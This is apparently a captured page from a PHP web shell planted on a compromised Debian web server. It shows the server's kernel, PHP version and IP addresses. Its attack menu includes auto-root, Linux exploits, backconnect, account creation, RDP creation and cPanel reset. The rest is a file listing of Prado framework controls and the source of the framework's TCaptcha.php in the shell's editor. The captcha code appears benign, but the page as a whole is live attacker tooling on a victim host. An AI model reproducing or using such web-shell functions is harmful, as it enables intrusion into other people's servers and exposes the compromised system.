Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.217.242.39
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
WebControls /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
IDataSource.php
507
B
-rw-r--r--
IItemDataRenderer.php
1.34
KB
-rw-r--r--
IListControlAdapter.php
1.22
KB
-rw-r--r--
IRepeatInfoUser.php
1.55
KB
-rw-r--r--
IStyleable.php
774
B
-rw-r--r--
TAccordion.php
16.08
KB
-rw-r--r--
TAccordionView.php
4.45
KB
-rw-r--r--
TAccordionViewCollection.php
1.57
KB
-rw-r--r--
TBaseDataList.php
5.45
KB
-rw-r--r--
TBaseValidator.php
19.79
KB
-rw-r--r--
TBoundColumn.php
7.11
KB
-rw-r--r--
TBulletStyle.php
913
B
-rw-r--r--
TBulletedList.php
12.14
KB
-rw-r--r--
TBulletedListDisplayMode.php
917
B
-rw-r--r--
TBulletedListEventParameter.ph...
993
B
-rw-r--r--
TButton.php
11.42
KB
-rw-r--r--
TButtonColumn.php
8.5
KB
-rw-r--r--
TButtonColumnType.php
791
B
-rw-r--r--
TButtonTag.php
705
B
-rw-r--r--
TButtonType.php
756
B
-rw-r--r--
TCaptcha.php
16.31
KB
-rw-r--r--
TCaptchaValidator.php
4
KB
-rw-r--r--
TCheckBox.php
15.02
KB
-rw-r--r--
TCheckBoxColumn.php
3.68
KB
-rw-r--r--
TCheckBoxItem.php
520
B
-rw-r--r--
TCheckBoxList.php
14.43
KB
-rw-r--r--
TCircleHotSpot.php
1.84
KB
-rw-r--r--
TClientScript.php
4.41
KB
-rw-r--r--
TClientSideValidationSummaryOp...
2.38
KB
-rw-r--r--
TColorPicker.php
6.83
KB
-rw-r--r--
TColorPickerClientSide.php
847
B
-rw-r--r--
TColorPickerMode.php
815
B
-rw-r--r--
TCompareValidator.php
7.5
KB
-rw-r--r--
TCompleteWizardStep.php
960
B
-rw-r--r--
TConditional.php
4.33
KB
-rw-r--r--
TContent.php
1.67
KB
-rw-r--r--
TContentDirection.php
811
B
-rw-r--r--
TContentPlaceHolder.php
1.73
KB
-rw-r--r--
TCustomValidator.php
4.46
KB
-rw-r--r--
TDataBoundControl.php
15.37
KB
-rw-r--r--
TDataGrid.php
48.32
KB
-rw-r--r--
TDataGridColumn.php
17.06
KB
-rw-r--r--
TDataGridColumnCollection.php
1.83
KB
-rw-r--r--
TDataGridCommandEventParameter...
2.06
KB
-rw-r--r--
TDataGridItem.php
3.62
KB
-rw-r--r--
TDataGridItemCollection.php
1.34
KB
-rw-r--r--
TDataGridItemEventParameter.ph...
1.4
KB
-rw-r--r--
TDataGridItemRenderer.php
539
B
-rw-r--r--
TDataGridPageChangedEventParam...
1.84
KB
-rw-r--r--
TDataGridPager.php
1.75
KB
-rw-r--r--
TDataGridPagerButtonType.php
1022
B
-rw-r--r--
TDataGridPagerEventParameter.p...
1.42
KB
-rw-r--r--
TDataGridPagerMode.php
1.04
KB
-rw-r--r--
TDataGridPagerPosition.php
1.16
KB
-rw-r--r--
TDataGridPagerStyle.php
7.44
KB
-rw-r--r--
TDataGridSortCommandEventParam...
1.93
KB
-rw-r--r--
TDataList.php
46.45
KB
-rw-r--r--
TDataListCommandEventParameter...
1.81
KB
-rw-r--r--
TDataListItem.php
3.29
KB
-rw-r--r--
TDataListItemCollection.php
1.06
KB
-rw-r--r--
TDataListItemEventParameter.ph...
1.16
KB
-rw-r--r--
TDataListItemRenderer.php
4.6
KB
-rw-r--r--
TDataRenderer.php
1.11
KB
-rw-r--r--
TDataSize.php
4.22
KB
-rw-r--r--
TDataSourceControl.php
1.36
KB
-rw-r--r--
TDataSourceSelectParameters.ph...
1.51
KB
-rw-r--r--
TDataSourceView.php
2.23
KB
-rw-r--r--
TDataTypeValidator.php
3.89
KB
-rw-r--r--
TDatePicker.php
26.21
KB
-rw-r--r--
TDatePickerClientScript.php
1.22
KB
-rw-r--r--
TDatePickerInputMode.php
746
B
-rw-r--r--
TDatePickerMode.php
1.08
KB
-rw-r--r--
TDatePickerPositionMode.php
766
B
-rw-r--r--
TDisplayStyle.php
994
B
-rw-r--r--
TDropDownList.php
4.58
KB
-rw-r--r--
TDropDownListColumn.php
10.06
KB
-rw-r--r--
TEditCommandColumn.php
7.97
KB
-rw-r--r--
TEmailAddressValidator.php
2.68
KB
-rw-r--r--
TExpression.php
1.42
KB
-rw-r--r--
TFileUpload.php
11.86
KB
-rw-r--r--
TFileUploadItem.php
4.03
KB
-rw-r--r--
TFlushOutput.php
2.25
KB
-rw-r--r--
TFont.php
8.93
KB
-rw-r--r--
TGravatar.php
4.65
KB
-rw-r--r--
THead.php
5
KB
-rw-r--r--
THeader1.php
675
B
-rw-r--r--
THeader2.php
675
B
-rw-r--r--
THeader3.php
675
B
-rw-r--r--
THeader4.php
674
B
-rw-r--r--
THeader5.php
674
B
-rw-r--r--
THeader6.php
674
B
-rw-r--r--
THiddenField.php
5.82
KB
-rw-r--r--
THorizontalAlign.php
921
B
-rw-r--r--
THotSpot.php
8.73
KB
-rw-r--r--
THotSpotCollection.php
1.02
KB
-rw-r--r--
THotSpotMode.php
901
B
-rw-r--r--
THtmlArea.php
12.41
KB
-rw-r--r--
THtmlArea5.php
11.53
KB
-rw-r--r--
THtmlElement.php
1.62
KB
-rw-r--r--
THyperLink.php
7.41
KB
-rw-r--r--
THyperLinkColumn.php
7.61
KB
-rw-r--r--
TImage.php
4.29
KB
-rw-r--r--
TImageButton.php
11.67
KB
-rw-r--r--
TImageClickEventParameter.php
1.52
KB
-rw-r--r--
TImageMap.php
6.86
KB
-rw-r--r--
TImageMapEventParameter.php
1.06
KB
-rw-r--r--
TInlineFrame.php
7.89
KB
-rw-r--r--
TInlineFrameAlign.php
1018
B
-rw-r--r--
TInlineFrameScrollBars.php
917
B
-rw-r--r--
TItemDataRenderer.php
2.17
KB
-rw-r--r--
TJavascriptLogger.php
2.8
KB
-rw-r--r--
TKeyboard.php
5.92
KB
-rw-r--r--
TLabel.php
3.95
KB
-rw-r--r--
TLinkButton.php
10.45
KB
-rw-r--r--
TListBox.php
6.57
KB
-rw-r--r--
TListControl.php
24.23
KB
-rw-r--r--
TListControlValidator.php
5.84
KB
-rw-r--r--
TListItem.php
4.93
KB
-rw-r--r--
TListItemType.php
1.11
KB
-rw-r--r--
TListSelectionMode.php
684
B
-rw-r--r--
TLiteral.php
2.82
KB
-rw-r--r--
TLiteralColumn.php
4.08
KB
-rw-r--r--
TMarkdown.php
1.99
KB
-rw-r--r--
TMetaTag.php
3.53
KB
-rw-r--r--
TMetaTagCollection.php
1.83
KB
-rw-r--r--
TMultiView.php
8.34
KB
-rw-r--r--
TOutputCache.php
15.99
KB
-rw-r--r--
TOutputCacheCalculateKeyEventP...
1.04
KB
-rw-r--r--
TOutputCacheCheckDependencyEve...
1.38
KB
-rw-r--r--
TOutputCacheTextWriterMulti.ph...
975
B
-rw-r--r--
TPageLoadTime.php
1.31
KB
-rw-r--r--
TPager.php
21.73
KB
-rw-r--r--
TPagerButtonType.php
714
B
-rw-r--r--
TPagerMode.php
838
B
-rw-r--r--
TPagerPageChangedEventParamete...
1.54
KB
-rw-r--r--
TPanel.php
6.39
KB
-rw-r--r--
TPanelStyle.php
8.09
KB
-rw-r--r--
TPlaceHolder.php
616
B
-rw-r--r--
TPolygonHotSpot.php
1.11
KB
-rw-r--r--
TRadioButton.php
9.39
KB
-rw-r--r--
TRadioButtonItem.php
533
B
-rw-r--r--
TRadioButtonList.php
2.29
KB
-rw-r--r--
TRangeValidationDataType.php
696
B
-rw-r--r--
TRangeValidator.php
9.76
KB
-rw-r--r--
TRatingList.php
8.75
KB
-rw-r--r--
TReCaptcha.php
11.79
KB
-rw-r--r--
TReCaptcha2.php
10.95
KB
-rw-r--r--
TReCaptcha2Validator.php
3.43
KB
-rw-r--r--
TReCaptchaValidator.php
4.19
KB
-rw-r--r--
TReadOnlyDataSource.php
1.1
KB
-rw-r--r--
TReadOnlyDataSourceView.php
1.01
KB
-rw-r--r--
TRectangleHotSpot.php
2.36
KB
-rw-r--r--
TRegularExpressionValidator.ph...
4.16
KB
-rw-r--r--
TRepeatDirection.php
681
B
-rw-r--r--
TRepeatInfo.php
13.51
KB
-rw-r--r--
TRepeatLayout.php
872
B
-rw-r--r--
TRepeater.php
23.8
KB
-rw-r--r--
TRepeaterCommandEventParameter...
1.81
KB
-rw-r--r--
TRepeaterItem.php
2.83
KB
-rw-r--r--
TRepeaterItemCollection.php
1.07
KB
-rw-r--r--
TRepeaterItemEventParameter.ph...
1.13
KB
-rw-r--r--
TRepeaterItemRenderer.php
1.24
KB
-rw-r--r--
TRequiredFieldValidator.php
4.56
KB
-rw-r--r--
TSafeHtml.php
2.07
KB
-rw-r--r--
TScrollBars.php
953
B
-rw-r--r--
TServerValidateEventParameter....
1.37
KB
-rw-r--r--
TSlider.php
14.93
KB
-rw-r--r--
TSliderClientScript.php
1.78
KB
-rw-r--r--
TSliderDirection.php
749
B
-rw-r--r--
TStatements.php
1.44
KB
-rw-r--r--
TStyle.php
9.84
KB
-rw-r--r--
TStyleSheet.php
3.62
KB
-rw-r--r--
TTabPanel.php
14.67
KB
-rw-r--r--
TTabView.php
4.83
KB
-rw-r--r--
TTabViewCollection.php
1.55
KB
-rw-r--r--
TTable.php
9.63
KB
-rw-r--r--
TTableCaptionAlign.php
862
B
-rw-r--r--
TTableCell.php
5.77
KB
-rw-r--r--
TTableCellCollection.php
1.1
KB
-rw-r--r--
TTableFooterRow.php
882
B
-rw-r--r--
TTableGridLines.php
902
B
-rw-r--r--
TTableHeaderCell.php
2.4
KB
-rw-r--r--
TTableHeaderRow.php
882
B
-rw-r--r--
TTableHeaderScope.php
766
B
-rw-r--r--
TTableItemStyle.php
5.5
KB
-rw-r--r--
TTableRow.php
3.8
KB
-rw-r--r--
TTableRowCollection.php
1.08
KB
-rw-r--r--
TTableRowSection.php
761
B
-rw-r--r--
TTableStyle.php
8.84
KB
-rw-r--r--
TTemplateColumn.php
7.93
KB
-rw-r--r--
TTemplatedWizardStep.php
2.93
KB
-rw-r--r--
TTextAlign.php
608
B
-rw-r--r--
TTextBox.php
19.32
KB
-rw-r--r--
TTextBoxAutoCompleteType.php
1.87
KB
-rw-r--r--
TTextBoxMode.php
2.3
KB
-rw-r--r--
TTextHighlighter.php
6.53
KB
-rw-r--r--
TTextProcessor.php
2.28
KB
-rw-r--r--
TValidationCompareOperator.php
959
B
-rw-r--r--
TValidationDataType.php
749
B
-rw-r--r--
TValidationSummary.php
11.78
KB
-rw-r--r--
TValidationSummaryDisplayMode....
1.09
KB
-rw-r--r--
TValidationSummaryDisplayStyle...
1017
B
-rw-r--r--
TValidatorClientSide.php
2.96
KB
-rw-r--r--
TValidatorDisplayStyle.php
951
B
-rw-r--r--
TVerticalAlign.php
836
B
-rw-r--r--
TView.php
2.23
KB
-rw-r--r--
TViewCollection.php
1.09
KB
-rw-r--r--
TWebControl.php
12.65
KB
-rw-r--r--
TWebControlAdapter.php
1.98
KB
-rw-r--r--
TWebControlDecorator.php
10.94
KB
-rw-r--r--
TWizard.php
41.24
KB
-rw-r--r--
TWizardFinishNavigationTemplat...
1.49
KB
-rw-r--r--
TWizardNavigationButtonStyle.p...
3.89
KB
-rw-r--r--
TWizardNavigationButtonType.ph...
825
B
-rw-r--r--
TWizardNavigationContainer.php
1.85
KB
-rw-r--r--
TWizardNavigationEventParamete...
2.15
KB
-rw-r--r--
TWizardNavigationTemplate.php
2.29
KB
-rw-r--r--
TWizardSideBarListItemTemplate...
907
B
-rw-r--r--
TWizardSideBarTemplate.php
1003
B
-rw-r--r--
TWizardStartNavigationTemplate...
1.21
KB
-rw-r--r--
TWizardStep.php
2.34
KB
-rw-r--r--
TWizardStepCollection.php
1.79
KB
-rw-r--r--
TWizardStepNavigationTemplate....
1.45
KB
-rw-r--r--
TWizardStepType.php
1.01
KB
-rw-r--r--
TXmlTransform.php
5.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TCaptcha.php
<?php /** * TCaptcha class file * * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\UI\WebControls; use Prado\Exceptions\TConfigurationException; use Prado\TPropertyValue; /** * TCaptcha class. * * Notice: while this class is easy to use and implement, it does not provide full security. * In fact, it's easy to bypass the checks reusing old, already-validated tokens (reply attack). * A better alternative is provided by {@link TReCaptcha}. * * TCaptcha displays a CAPTCHA (a token displayed as an image) that can be used * to determine if the input is entered by a real user instead of some program. * * Unlike other CAPTCHA scripts, TCaptcha does not need session or cookie. * * The token (a string consisting of alphanumeric characters) displayed is automatically * generated and can be configured in several ways. To specify the length of characters * in the token, set {@link setMinTokenLength MinTokenLength} and {@link setMaxTokenLength MaxTokenLength}. * To use case-insensitive comparison and generate upper-case-only token, set {@link setCaseSensitive CaseSensitive} * to false. Advanced users can try to set {@link setTokenAlphabet TokenAlphabet}, which * specifies what characters can appear in tokens. * * The validation of the token is related with two properties: {@link setTestLimit TestLimit} * and {@link setTokenExpiry TokenExpiry}. The former specifies how many times a token can * be tested with on the server side, and the latter says when a generated token will expire. * * To specify the appearance of the generated token image, set {@link setTokenImageTheme TokenImageTheme} * to be an integer between 0 and 63. And to adjust the generated image size, set {@link setTokenFontSize TokenFontSize} * (you may also set {@link TWebControl::setWidth Width}, but the scaled image may not look good.) * By setting {@link setChangingTokenBackground ChangingTokenBackground} to true, the image background * of the token will be variating even though the token is the same during postbacks. * * Upon postback, user input can be validated by calling {@link validate()}. * The {@link TCaptchaValidator} control can also be used to do validation, which provides * client-side validation besides the server-side validation. By default, the token will * remain the same during multiple postbacks. A new one can be generated by calling * {@link regenerateToken()} manually. * * The following template shows a typical use of TCaptcha control: * <code> * <com:TCaptcha ID="Captcha" /> * <com:TTextBox ID="Input" /> * <com:TCaptchaValidator CaptchaControl="Captcha" * ControlToValidate="Input" * ErrorMessage="You are challenged!" /> * </code> * * @author Qiang Xue <qiang.xue@gmail.com> * @since 3.1.1 */ class TCaptcha extends TImage { public const MIN_TOKEN_LENGTH = 2; public const MAX_TOKEN_LENGTH = 40; private $_privateKey; private $_validated = false; /** * @return int the theme of the token image. Defaults to 0. */ public function getTokenImageTheme() { return $this->getViewState('TokenImageTheme', 0); } /** * Sets the theme of the token image. * You may test each theme to find out the one you like the most. * Below is the explanation of the theme value: * It is treated as a 5-bit integer. Each bit toggles a specific feature of the image. * Bit 0 (the least significant): whether the image is opaque (1) or transparent (0). * Bit 1: whether we should add white noise to the image (1) or not (0). * Bit 2: whether we should add a grid to the image (1) or not (0). * Bit 3: whether we should add some scribbles to the image (1) or not (0). * Bit 4: whether the image background should be morphed (1) or not (0). * Bit 5: whether the token text should cast a shadow (1) or not (0). * @param int $value the theme of the token image. It must be an integer between 0 and 63. */ public function setTokenImageTheme($value) { $value = TPropertyValue::ensureInteger($value); if ($value >= 0 && $value <= 63) { $this->setViewState('TokenImageTheme', $value, 0); } else { throw new TConfigurationException('captcha_tokenimagetheme_invalid', 0, 63); } } /** * @return int the font size used for displaying the token in an image. Defaults to 30. */ public function getTokenFontSize() { return $this->getViewState('TokenFontSize', 30); } /** * Sets the font size used for displaying the token in an image. * This property affects the generated token image size. * The image width is proportional to this font size. * @param int $value the font size used for displaying the token in an image. It must be an integer between 20 and 100. */ public function setTokenFontSize($value) { $value = TPropertyValue::ensureInteger($value); if ($value >= 20 && $value <= 100) { $this->setViewState('TokenFontSize', $value, 30); } else { throw new TConfigurationException('captcha_tokenfontsize_invalid', 20, 100); } } /** * @return int the minimum length of the token. Defaults to 4. */ public function getMinTokenLength() { return $this->getViewState('MinTokenLength', 4); } /** * @param int $value the minimum length of the token. It must be between 2 and 40. */ public function setMinTokenLength($value) { $length = TPropertyValue::ensureInteger($value); if ($length >= self::MIN_TOKEN_LENGTH && $length <= self::MAX_TOKEN_LENGTH) { $this->setViewState('MinTokenLength', $length, 4); } else { throw new TConfigurationException('captcha_mintokenlength_invalid', self::MIN_TOKEN_LENGTH, self::MAX_TOKEN_LENGTH); } } /** * @return int the maximum length of the token. Defaults to 6. */ public function getMaxTokenLength() { return $this->getViewState('MaxTokenLength', 6); } /** * @param int $value the maximum length of the token. It must be between 2 and 40. */ public function setMaxTokenLength($value) { $length = TPropertyValue::ensureInteger($value); if ($length >= self::MIN_TOKEN_LENGTH && $length <= self::MAX_TOKEN_LENGTH) { $this->setViewState('MaxTokenLength', $length, 6); } else { throw new TConfigurationException('captcha_maxtokenlength_invalid', self::MIN_TOKEN_LENGTH, self::MAX_TOKEN_LENGTH); } } /** * @return bool whether the token should be treated as case-sensitive. Defaults to true. */ public function getCaseSensitive() { return $this->getViewState('CaseSensitive', true); } /** * @param bool $value whether the token should be treated as case-sensitive. If false, only upper-case letters will appear in the token. */ public function setCaseSensitive($value) { $this->setViewState('CaseSensitive', TPropertyValue::ensureBoolean($value), true); } /** * @return string the characters that may appear in the token. Defaults to '234578adefhijmnrtABDEFGHJLMNRT'. */ public function getTokenAlphabet() { return $this->getViewState('TokenAlphabet', '234578adefhijmnrtABDEFGHJLMNRT'); } /** * @param string $value the characters that may appear in the token. At least 2 characters must be specified. */ public function setTokenAlphabet($value) { if (strlen($value) < 2) { throw new TConfigurationException('captcha_tokenalphabet_invalid'); } $this->setViewState('TokenAlphabet', $value, '234578adefhijmnrtABDEFGHJLMNRT'); } /** * @return int the number of seconds that a generated token will remain valid. Defaults to 600 seconds (10 minutes). */ public function getTokenExpiry() { return $this->getViewState('TokenExpiry', 600); } /** * @param int $value the number of seconds that a generated token will remain valid. A value smaller than 1 means the token will not expire. */ public function setTokenExpiry($value) { $this->setViewState('TokenExpiry', TPropertyValue::ensureInteger($value), 600); } /** * @return bool whether the background of the token image should be variated during postbacks. Defaults to false. */ public function getChangingTokenBackground() { return $this->getViewState('ChangingTokenBackground', false); } /** * @param bool $value whether the background of the token image should be variated during postbacks. */ public function setChangingTokenBackground($value) { $this->setViewState('ChangingTokenBackground', TPropertyValue::ensureBoolean($value), false); } /** * @return int how many times a generated token can be tested. Defaults to 5. */ public function getTestLimit() { return $this->getViewState('TestLimit', 5); } /** * @param int $value how many times a generated token can be tested. For unlimited tests, set it to 0. */ public function setTestLimit($value) { $this->setViewState('TestLimit', TPropertyValue::ensureInteger($value), 5); } /** * @return bool whether the currently generated token has expired. */ public function getIsTokenExpired() { if (($expiry = $this->getTokenExpiry()) > 0 && ($start = $this->getViewState('TokenGenerated', 0)) > 0) { return $expiry + $start < time(); } else { return false; } } /** * @return string the public key used for generating the token. A random one will be generated and returned if this is not set. */ public function getPublicKey() { if (($publicKey = $this->getViewState('PublicKey', '')) === '') { $publicKey = $this->generateRandomKey(); $this->setPublicKey($publicKey); } return $publicKey; } /** * @param string $value the public key used for generating the token. A random one will be generated if this is not set. */ public function setPublicKey($value) { $this->setViewState('PublicKey', $value, ''); } /** * @return string the token that will be displayed */ public function getToken() { return $this->generateToken($this->getPublicKey(), $this->getPrivateKey(), $this->getTokenAlphabet(), $this->getTokenLength(), $this->getCaseSensitive()); } /** * @return int the length of the token to be generated. */ protected function getTokenLength() { if (($tokenLength = $this->getViewState('TokenLength')) === null) { $minLength = $this->getMinTokenLength(); $maxLength = $this->getMaxTokenLength(); if ($minLength > $maxLength) { $tokenLength = rand($maxLength, $minLength); } elseif ($minLength < $maxLength) { $tokenLength = rand($minLength, $maxLength); } else { $tokenLength = $minLength; } $this->setViewState('TokenLength', $tokenLength); } return $tokenLength; } /** * @return string the private key used for generating the token. This is randomly generated and kept in a file for persistency. */ public function getPrivateKey() { if ($this->_privateKey === null) { $fileName = $this->generatePrivateKeyFile(); $content = file_get_contents($fileName); $matches = []; if (preg_match("/privateKey='(.*?)'/ms", $content, $matches) > 0) { $this->_privateKey = $matches[1]; } else { throw new TConfigurationException('captcha_privatekey_unknown'); } } return $this->_privateKey; } /** * Validates a user input with the token. * @param string $input user input * @return bool if the user input is not the same as the token. */ public function validate($input) { $number = $this->getViewState('TestNumber', 0); if (!$this->_validated) { $this->setViewState('TestNumber', ++$number); $this->_validated = true; } if ($this->getIsTokenExpired() || (($limit = $this->getTestLimit()) > 0 && $number > $limit)) { $this->regenerateToken(); return false; } return ($this->getToken() === ($this->getCaseSensitive() ? $input : strtoupper($input))); } /** * Regenerates the token to be displayed. * By default, a token, once generated, will remain the same during the following page postbacks. * Calling this method will generate a new token. */ public function regenerateToken() { $this->clearViewState('TokenLength'); $this->setPublicKey(''); $this->clearViewState('TokenGenerated'); $this->clearViewState('RandomSeed'); $this->clearViewState('TestNumber'); } /** * Configures the image URL that shows the token. * @param mixed $param event parameter */ public function onPreRender($param) { parent::onPreRender($param); if (!self::checkRequirements()) { throw new TConfigurationException('captcha_imagettftext_required'); } if (!$this->getViewState('TokenGenerated', 0)) { $manager = $this->getApplication()->getAssetManager(); $manager->publishFilePath($this->getFontFile()); $url = $manager->publishFilePath($this->getCaptchaScriptFile()); $url .= '?options=' . urlencode($this->getTokenImageOptions()); $this->setImageUrl($url); $this->setViewState('TokenGenerated', time()); } } /** * @return string the options to be passed to the token image generator */ protected function getTokenImageOptions() { // call this method to ensure private key is generated $privateKey = $this->getPrivateKey(); $token = $this->getToken(); $options = []; $options['publicKey'] = $this->getPublicKey(); $options['tokenLength'] = strlen($token); $options['caseSensitive'] = $this->getCaseSensitive(); $options['alphabet'] = $this->getTokenAlphabet(); $options['fontSize'] = $this->getTokenFontSize(); $options['theme'] = $this->getTokenImageTheme(); if (($randomSeed = $this->getViewState('RandomSeed', 0)) === 0) { $randomSeed = (int) (microtime(true) * 1000000); $this->setViewState('RandomSeed', $randomSeed); } $options['randomSeed'] = $this->getChangingTokenBackground() ? 0 : $randomSeed; $str = serialize($options); return base64_encode(md5($privateKey . $str) . $str); } /** * @return string the file path of the PHP script generating the token image */ protected function getCaptchaScriptFile() { return __DIR__ . DIRECTORY_SEPARATOR . 'assets' . DIRECTORY_SEPARATOR . 'captcha.php'; } protected function getFontFile() { return __DIR__ . DIRECTORY_SEPARATOR . 'assets' . DIRECTORY_SEPARATOR . 'verase.ttf'; } /** * Generates a file with a randomly generated private key. * @return string the path of the file keeping the private key */ protected function generatePrivateKeyFile() { $captchaScript = $this->getCaptchaScriptFile(); $path = dirname($this->getApplication()->getAssetManager()->getPublishedPath($captchaScript)); $fileName = $path . DIRECTORY_SEPARATOR . 'captcha_key.php'; if (!is_file($fileName)) { @mkdir($path); $key = $this->generateRandomKey(); $content = "<?php \$privateKey='$key'; ?>"; file_put_contents($fileName, $content); } return $fileName; } /** * @return string a randomly generated key */ protected function generateRandomKey() { return md5(rand() . rand() . rand() . rand()); } /** * Generates the token. * @param string $publicKey public key * @param string $privateKey private key * @param mixed $alphabet * @param int $tokenLength the length of the token * @param bool $caseSensitive whether the token is case sensitive * @return string the token generated. */ protected function generateToken($publicKey, $privateKey, $alphabet, $tokenLength, $caseSensitive) { $token = substr($this->hash2string(md5($publicKey . $privateKey), $alphabet) . $this->hash2string(md5($privateKey . $publicKey), $alphabet), 0, $tokenLength); return $caseSensitive ? $token : strtoupper($token); } /** * Converts a hash string into a string with characters consisting of alphanumeric characters. * @param string $hex the hexadecimal representation of the hash string * @param string $alphabet the alphabet used to represent the converted string. If empty, it means '234578adefhijmnrtwyABDEFGHIJLMNQRTWY', which excludes those confusing characters. * @return string the converted string */ protected function hash2string($hex, $alphabet = '') { if (strlen($alphabet) < 2) { $alphabet = '234578adefhijmnrtABDEFGHJLMNQRT'; } $hexLength = strlen($hex); $base = strlen($alphabet); $result = ''; for ($i = 0; $i < $hexLength; $i += 6) { $number = hexdec(substr($hex, $i, 6)); while ($number) { $result .= $alphabet[$number % $base]; $number = floor($number / $base); } } return $result; } /** * Checks the requirements needed for generating CAPTCHA images. * TCaptach requires GD2 with TrueType font support and PNG image support. * @return bool whether the requirements are satisfied. */ public static function checkRequirements() { return extension_loaded('gd') && function_exists('imagettftext') && function_exists('imagepng'); } }
Close